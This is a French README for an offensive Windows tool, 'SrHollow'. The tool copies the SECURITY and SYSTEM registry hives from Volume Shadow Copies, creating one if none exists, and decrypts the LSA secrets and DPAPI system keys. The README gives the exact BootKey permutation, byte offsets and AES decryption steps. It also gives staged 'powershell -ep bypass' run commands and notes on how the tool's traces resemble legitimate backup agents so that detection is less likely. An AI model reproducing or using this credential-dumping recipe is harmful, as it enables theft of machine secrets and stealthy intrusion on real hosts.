
Extrait les secrets LSA et les clés DPAPI des ruches du registre Windows via des copies shadow VSS existantes ou nouvellement créées, avec un parseur regf inline et un déchiffrement AES-256.
Extraction des secrets LSA, réutilisation d'une copie shadow VSS préexistante + parseur regf inline + déchiffrement LSA AES-256 via bcrypt.dll.
\GLOBAL?? via NtOpenDirectoryObject + NtQueryDirectoryObject. Choisir le HarddiskVolumeShadowCopyN au numéro le plus élevé.SRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL) depuis SrClient.dll.SeBackupPrivilege dans le jeton courant (AdjustTokenPrivileges).CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS) et lire dans byte[].regf inline qui parse la ruche : bloc de base, types de cellules nk/vk/lf/lh/li/ri/db/sk. Disposition KeyNode, flags @0x02, liste de sous-clés @0x1C, liste de valeurs @0x28, clé de sécurité @0x2C, offset de classe @0x30, longueur du nom u16 @0x48, longueur de classe u16 @0x4A (c'était un bug au premier passage — la doc de Microsoft elle-même est ambiguë ici), nom @0x4C.Class en hex UTF-16 de ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data} → 16 octets bruts → permuter avec [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7].Policy\PolEKList\(default) (172 octets) : salt = bytes[0x1C..0x3C] ; tmpKey = SHA-256(BootKey || salt * 1000) ; pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0) ; clé LSA = pt[68..100].Policy\Secrets\<name>\CurrVal\(default) : même disposition, étirement de sel avec la clé LSA au lieu de la BootKey.DPAPI_SYSTEM : bytes[4..24] = MachineKey, bytes[24..44] = UserKey. Ceux-ci déchiffrent toutes les clés maîtresses DPAPI de portée SYSTEM sur l'hôte.SrHollow/
├── README.md <- vous êtes ici
├── src/
│ └── SrHollow.cs <- parseur regf inline + crypto LSA AES (~350 LOC, fichier unique)
└── stages/
├── Stage1-Recon.ps1 <- énumération shadow en lecture seule
├── Stage1b-ReadShadowHives.ps1 <- auto-détection / auto-création de shadow + aspiration des ruches
├── Stage2-Decrypt.ps1 <- BootKey + clé LSA + tous les secrets
└── Stage3-Report.ps1 <- rapport opérateur formaté avec empreinte OPSEC
src/SrHollow.cs a zéro dépendance au-delà de System.Security.Cryptography (qui lui-même passe par bcrypt.dll). Il se compile tel quel via Add-Type ou csc.exe.
PowerShell élevé
# 1. Recon en lecture seule, voir quels shadows existent déjà
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. Extraire SECURITY + SYSTEM depuis le shadow existant le plus récent
# (en crée un via SRSetRestorePointW si aucun n'existe)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. Dériver BootKey + clé LSA + déchiffrer chaque secret
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (Optionnel) rapport opérateur formaté
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
Prérequis : admin local (pour SeBackupPrivilege), un service Volume Shadow Copy en cours d'exécution ou démarrable (par défaut sur Windows 10/11).
Signaux attribuables laissés lorsqu'un shadow existe déjà :
CreateFileW sur \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...AdjustTokenPrivileges activant SeBackupPrivilegeSHA-256 + AES-CBC standards via bcrypt.dll (userland, rien de remarquable)C'est le même profil d'ouverture de fichier que la plupart des agents de sauvegarde légitimes.